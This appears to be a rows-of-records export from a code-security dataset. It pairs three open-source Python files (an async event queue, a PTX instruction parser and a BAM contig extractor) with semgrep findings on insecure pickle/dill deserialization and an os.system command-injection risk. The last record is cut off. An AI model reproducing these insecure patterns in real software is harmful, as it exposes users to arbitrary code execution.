[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Detected subprocess functio...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
find_reg.py
/find_reg.py
ritiek/rustc-regression-finder
MIT
2024-11-18T21:51:47.024221+00:00
1,564,456,352,000
2f18eea90e72a6513b6aae03d7662d08ffc5dfde
2
{ "blob_id": "2f18eea90e72a6513b6aae03d7662d08ffc5dfde", "branch_name": "refs/heads/master", "committer_date": 1564456352000, "content_id": "32defae6ffac3baa3c77e9d34c2a5a793b01ec85", "detected_licenses": [ "Apache-2.0" ], "directory_id": "323f02214a1beb2951348fe6cdfab4799e7b7f1c", "extension": "py", "filename": "eventqueue.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 195593930, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7466, "license": "Apache-2.0", "license_type": "permissive", "path": "/rodio/eventqueue.py", "provenance": "stack-edu-0054.json.gz:588781", "repo_name": "miraclx/rodio", "revision_date": 1564456352000, "revision_id": "5c8b5cf3b667c3e640cf0ff3d42053137e5399a6", "snapshot_id": "d0a0c85c47389f17db769eb92df19bc98be996e9", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/miraclx/rodio/5c8b5cf3b667c3e640cf0ff3d42053137e5399a6/rodio/eventqueue.py", "visit_date": "2020-06-16T13:33:59.809953" }
2.390625
stackv2
# -*- coding: utf-8 -*- """ rodio: Efficient non-blocking event loops for async concurrency and I/O Think of this as AsyncIO on steroids """ import dill import queue import asyncio import multiprocessing from node_events import EventEmitter from .internals.debug import LogDebugger __all__ = ['EventQueue'] corelogger = LogDebugger("rodiocore.eventqueue") class EventQueue(EventEmitter): @corelogger.debugwrapper def __init__(self, shared_queue=True): super(EventQueue, self).__init__() self.__shared_queue = bool(shared_queue) self._ended = multiprocessing.Event() self._started = multiprocessing.Event() self._paused = multiprocessing.Event() self._running = multiprocessing.Event() self._ended_or_paused = multiprocessing.Event() self._statusLock = multiprocessing.Lock() self._queueMgmtLock = multiprocessing.Lock() self._underlayer = queue.Queue( ) if not shared_queue else multiprocessing.JoinableQueue() self._pause() def __repr__(self): status = [] if self.started(): status.append("started") status.append("ended" if self.ended() else "paused" if self.paused() else "running") status.append(f"{'' if self.is_shared() else 'un'}shared") status.append(f"[unfinished = {self._underlayer.qsize()}]" if self._underlayer.qsize( ) else "[complete]" if self.ended() else "[empty]") return '<%s(%s)>' % (type(self).__name__, ", ".join(status)) @corelogger.debugwrapper def push(self, coro, args=()): if self.ended(): raise RuntimeError( "Can't schedule executions on a stopped eventqueue") stack = list(coro if isinstance(coro, (tuple, list)) else [coro]) notpassed = list(filter(lambda x: not callable(x), stack)) if notpassed: raise RuntimeError( f"{notpassed} item{' defined must' if len(notpassed) == 1 else 's defined must all'} either be a coroutine function or a callable object") [stack, typeid] = self.__checkAll(asyncio.iscoroutinefunction, stack, [stack, 1]) or \ self.__checkAll(callable, stack, [stack, 0]) if self.__shared_queue: stack = dill.dumps(stack) corelogger.log("push", "acquiring to push...") with self._queueMgmtLock: corelogger.log("push", "acquired to push") corelogger.log("push pre put len", self._underlayer.qsize()) self.emit('push', [stack, args]) self._underlayer.put([stack, args, typeid]) corelogger.log("push post put len", self._underlayer.qsize()) corelogger.log("push", "strict resume") self._resume() def __stripCoros(self): while not self.ended(): try: corelogger.log("__stripCoros", "acquiring to begin extract") if self._running.wait(): corelogger.log( "__stripCoros", "acquired to begin extract!") corelogger.log("__stripCoros", "acquiring to get...") with self._queueMgmtLock: corelogger.log("__stripCoros", "acquired to get") if self._underlayer.qsize() == 0: raise queue.Empty corelogger.log("__stripCoros pre get len", self._underlayer.qsize()) block = self._underlayer.get() self.emit('get', block[:2]) corelogger.log("__stripCoros post get len", self._underlayer.qsize()) self._underlayer.task_done() yield block else: corelogger.log("__stripCoros", "run timeout") except queue.Empty: with self._queueMgmtLock: corelogger.log("__stripCoros empty", "queue empty") corelogger.log("__stripCoros empty get len", self._underlayer.qsize()) if not self.ended(): if self._underlayer.qsize() > 0: corelogger.log( "__stripCoros empty", "skipping pause after detecting items in queue") else: corelogger.log( "__stripCoros empty", "pausing on queue empty") self._pause() async def _startIterator(self): corelogger.log('async __startIterator init') for [stack, args, typeid] in self.__stripCoros(): if self.__shared_queue: stack = dill.loads(stack) if typeid == 0: [fn(*args) for fn in stack] elif typeid == 1: await asyncio.gather(*[corofn(*args) for corofn in stack]) corelogger.log('async __startIterator exit') @corelogger.debugwrapper def _resume(self): self.__checkActivityElseRaise() corelogger.log("_resume", "acquiring to resume...") with self._statusLock: corelogger.log("_resume", "acquired to resume") self._paused.clear() self._running.set() self._ended_or_paused.clear() def start(self): self._started.set() self.emit('start') self._resume() asyncio.run(self._startIterator()) @corelogger.debugwrapper def resume(self): self._resume() self.emit('resume') def _pause(self): self.__checkActivityElseRaise() corelogger.log("_pause", "acquiring to pause...") with self._statusLock: corelogger.log("_pause", "acquired to pause") self._paused.set() self._running.clear() self._ended_or_paused.set() @corelogger.debugwrapper def pause(self): self._pause() self.emit('pause') def _end(self): self.__checkActivityElseRaise() with self._running._cond: self._running._cond.notify() self._ended.set() self._paused.clear() self._running.clear() self._ended_or_paused.set() @corelogger.debugwrapper def end(self): self._end() self.emit('end') def __checkActivityElseRaise(self): if self.ended(): raise RuntimeError("Queue iterator already ended") def __checkAll(self, fn, iterable, ret=None, msg=None, permissive=True): gen = (fn(blob) for blob in iterable) if any(gen): if not all(gen): raise RuntimeError( msg or 'A collection of executors must have the same type') else: return ret or True elif not permissive: raise RuntimeError( 'Collection of executors must pass the condition') def paused(self): return self._paused.is_set() and not self._running.is_set() is_paused = paused has_paused = paused def started(self): return self._started.is_set() def ended(self): return self._ended.is_set() def is_shared(self): return self.__shared_queue is_ended = ended has_ended = ended
202
35.96
154
22
1,562
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-dill_9da83a209af07a4c_8e94f021", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-dill", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 21, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-dill", "path": "/tmp/tmp10dxl77l/9da83a209af07a4c.py", "start": {"line": 62, "col": 21, "offset": 2333}, "end": {"line": 62, "col": 38, "offset": 2350}, "extra": {"message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-dill_9da83a209af07a4c_ca709fd3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-dill", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 25, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-dill", "path": "/tmp/tmp10dxl77l/9da83a209af07a4c.py", "start": {"line": 114, "col": 25, "offset": 4891}, "end": {"line": 114, "col": 42, "offset": 4908}, "extra": {"message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-dill", "rules.python.lang.security.deserialization.avoid-dill" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 62, 114 ]
[ 62, 114 ]
[ 21, 25 ]
[ 38, 42 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `dill`, which us...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
eventqueue.py
/rodio/eventqueue.py
miraclx/rodio
Apache-2.0
2024-11-18T21:51:47.329832+00:00
1,534,490,639,000
5849893526d9eacbd0d0a8a3dfc9ca3ec9de2d8e
3
{ "blob_id": "5849893526d9eacbd0d0a8a3dfc9ca3ec9de2d8e", "branch_name": "refs/heads/master", "committer_date": 1534490639000, "content_id": "7924993430bc77906de07cd15fdcaf52ece97f71", "detected_licenses": [ "MIT" ], "directory_id": "2e86b13ef98923eb45ee4da540b10f69f0f2f453", "extension": "py", "filename": "ptx_ld_set.py", "fork_events_count": 3, "gha_created_at": 1527585261000, "gha_event_created_at": 1534142830000, "gha_language": "C", "gha_license_id": "MIT", "github_id": 135271196, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 741, "license": "MIT", "license_type": "permissive", "path": "/examples/ptxILA/data_race/direct/ptx_ld_set.py", "provenance": "stack-edu-0054.json.gz:588784", "repo_name": "pramodsu/ILA-Tools", "revision_date": 1534490639000, "revision_id": "e76bd90cf356ada8dd6f848fb377f57c83322c71", "snapshot_id": "1dfd7e2282382a9f6870bf85deb77c460047b112", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/pramodsu/ILA-Tools/e76bd90cf356ada8dd6f848fb377f57c83322c71/examples/ptxILA/data_race/direct/ptx_ld_set.py", "visit_date": "2020-03-18T21:16:35.249306" }
2.515625
stackv2
import pickle import re ptx_program_file = 'ptx_add_neighbor' ptx_program_obj = open(ptx_program_file, 'r') ptx_program = pickle.load(ptx_program_obj) ptx_program_obj.close() ld_set = {} st_set = {} pc = 0 for program_line in ptx_program: if len(program_line) >= 2: opcode = program_line[0] opcode_split = re.split('\.', opcode) if opcode_split[0] == 'ld': if opcode_split[1] != 'param': ld_set[pc] = program_line[2] if opcode_split[0] == 'st': st_set[pc] = program_line[1] pc += 4 ld_set_obj = open('ld_set', 'w') pickle.dump(ld_set, ld_set_obj) st_set_obj = open('st_set', 'w') pickle.dump(st_set, st_set_obj) ld_set_obj.close() st_set_obj.close()
31
22.9
45
13
213
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a969c09d0935201a_e4dbb0bf", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 19, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 5, "col": 19, "offset": 81}, "end": {"line": 5, "col": 46, "offset": 108}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a969c09d0935201a_32e0ef94", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 15, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 6, "col": 15, "offset": 123}, "end": {"line": 6, "col": 43, "offset": 151}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a969c09d0935201a_9f4a631b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 23, "col": 14, "offset": 583}, "end": {"line": 23, "col": 33, "offset": 602}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a969c09d0935201a_cc9c8ae5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 1, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 24, "col": 1, "offset": 603}, "end": {"line": 24, "col": 32, "offset": 634}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a969c09d0935201a_ffb50d0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 25, "col": 14, "offset": 648}, "end": {"line": 25, "col": 33, "offset": 667}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a969c09d0935201a_65e66e8c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 1, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/a969c09d0935201a.py", "start": {"line": 26, "col": 1, "offset": 668}, "end": {"line": 26, "col": 32, "offset": 699}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 6, 24, 26 ]
[ 6, 24, 26 ]
[ 15, 1, 1 ]
[ 43, 32, 32 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
ptx_ld_set.py
/examples/ptxILA/data_race/direct/ptx_ld_set.py
pramodsu/ILA-Tools
MIT
2024-11-18T21:51:47.894255+00:00
1,544,306,322,000
0d58c62a02a778db92935b125287c8905f432be6
3
{ "blob_id": "0d58c62a02a778db92935b125287c8905f432be6", "branch_name": "refs/heads/master", "committer_date": 1544306322000, "content_id": "654a12277dccd9a547a4de36279a37d887daf327", "detected_licenses": [ "MIT" ], "directory_id": "0538c4f9fb1a5277783d95875780d7e0f87d01f5", "extension": "py", "filename": "extract_csomes.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 101906261, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4623, "license": "MIT", "license_type": "permissive", "path": "/bin/extract_csomes.py", "provenance": "stack-edu-0054.json.gz:588791", "repo_name": "fennerm/fmbiopy", "revision_date": 1544306322000, "revision_id": "09bbfa480c8a13dd2eb3de13417980b9f5a40685", "snapshot_id": "3d9ce56433fa092549c6d5465fb89b7f460d0f03", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/fennerm/fmbiopy/09bbfa480c8a13dd2eb3de13417980b9f5a40685/bin/extract_csomes.py", "visit_date": "2021-01-21T03:59:45.907216" }
2.75
stackv2
#!/usr/bin/env python """Extract the reads mapping to a list of contigs from a bam file All contigs not included in a given contig list are removed. Fastq files are written to PREFIX.R1.fastq.gz, PREFIX.R2.fastq.gz, and PREFIX.unpaired.fastq.gz. This works similar to blobtools bamfilter but does not exclude unpaired reads. Usage: extract_csomes.py [-n NCHUNKS] [-f FORMAT] [-p THREADS] -o PREFIX -i TXTFILE BAM Options: -o, --output_prefix=PREFIX Output prefix -f, --output_format=FORMAT Output file format ('bam' or 'fastq') [default:'bam'] -i, --include=TXTFILE List of contig names to include (separated by newlines) -n, --nchunks=NCHUNKS Number of chunks to split the region list. By default, NCHUNKS=THREADS -p, --threads=THREADS Number of threads [default: 1] """ import logging as log import os try: from queue import Queue except ImportError: from Queue import Queue import sys from threading import Thread from uuid import uuid4 from docopt import docopt from plumbum import local from plumbum.cmd import cat from fmbiopy.bio import merge_bams, to_fastq from fmbiopy.iter import split_into_chunks from fmbiopy.log import setup_log from fmbiopy.system import capture_stdout setup_log() def start_workers(nchunks, queue, bam): """Initialize the worker threads""" for i in range(nchunks): worker = BamExtractor(queue, bam) log.info("Starting BamExtractor thread %s", i) worker.daemon = True worker.start() class BamExtractor(Thread): """Worker thread for extracting contigs from bam""" def __init__(self, queue, bam): Thread.__init__(self) self.queue = queue self.bam = bam def run(self): """Get the work from the queue and run samtools""" while True: contig_list, output_file = self.queue.get() contig_list = " ".join(contig_list) log.info("Extracting contigs...") # For some reason I couldn't get plumbum to work here with threading command = " ".join( ["samtools view -bh", self.bam, contig_list, ">", output_file] ) os.system(command) log.info("Done extracting contigs, shutting down...") self.queue.task_done() def main(bam, contig_file, output_format, nthreads, output_prefix, nchunks): log.info("Running extract_csomes.py with parameters:") log.info("Input Bam: %s", str(bam)) log.info("Contig File: %s", str(contig_file)) log.info("Output Format: %s", str(output_format)) log.info("Threads: %s", str(nthreads)) log.info("Output Prefix: %s", str(output_prefix)) log.info("Number of chunks: %s", str(nchunks)) with local.tempdir() as tmpdir: log.info("Reading input contig list") region_list = capture_stdout(cat[contig_file]) if not region_list: sys.exit("Sequence list is empty") region_list = ['"' + region + '"' for region in region_list] if len(region_list) < nchunks: nchunks = len(region_list) log.info("Dividing contig list into %s chunks", nchunks) chunks = split_into_chunks(region_list, nchunks) chunk_bams = [tmpdir / (uuid4().hex + ".bam") for _ in range(nchunks)] queue = Queue(maxsize=nthreads) start_workers(nthreads, queue, bam) log.info("Queueing jobs") for chunk, chunk_bam in zip(chunks, chunk_bams): queue.put((chunk, chunk_bam)) queue.join() if output_format == "bam": output_bam = local.path(output_prefix + ".bam") else: output_bam = tmpdir / "merged.bam" log.info("Merging temporary .bam files to %s", output_bam) merge_bams(chunk_bams, output_bam, sort_by="name") if output_format == "fastq": log.info("Converting to .fastq") to_fastq(output_bam, output_prefix) if __name__ == "__main__": opts = docopt(__doc__) nthreads = int(opts["--threads"]) if not opts["--nchunks"]: nchunks = nthreads else: nchunks = int(opts["--nchunks"]) if nchunks < nthreads: raise ValueError("Number of chunks must be >= nthreads") output_format = opts["--output_format"] if output_format not in ["bam", "fastq"]: raise ValueError("Unrecognized output format") main( bam=local.path(opts["BAM"]), contig_file=local.path(opts["--include"]), output_format=output_format, nthreads=nthreads, output_prefix=opts["--output_prefix"], nchunks=nchunks, )
146
30.66
80
15
1,140
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_64892230b458f6ea_3285ac11", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 13, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/64892230b458f6ea.py", "start": {"line": 76, "col": 13, "offset": 2174}, "end": {"line": 76, "col": 31, "offset": 2192}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": 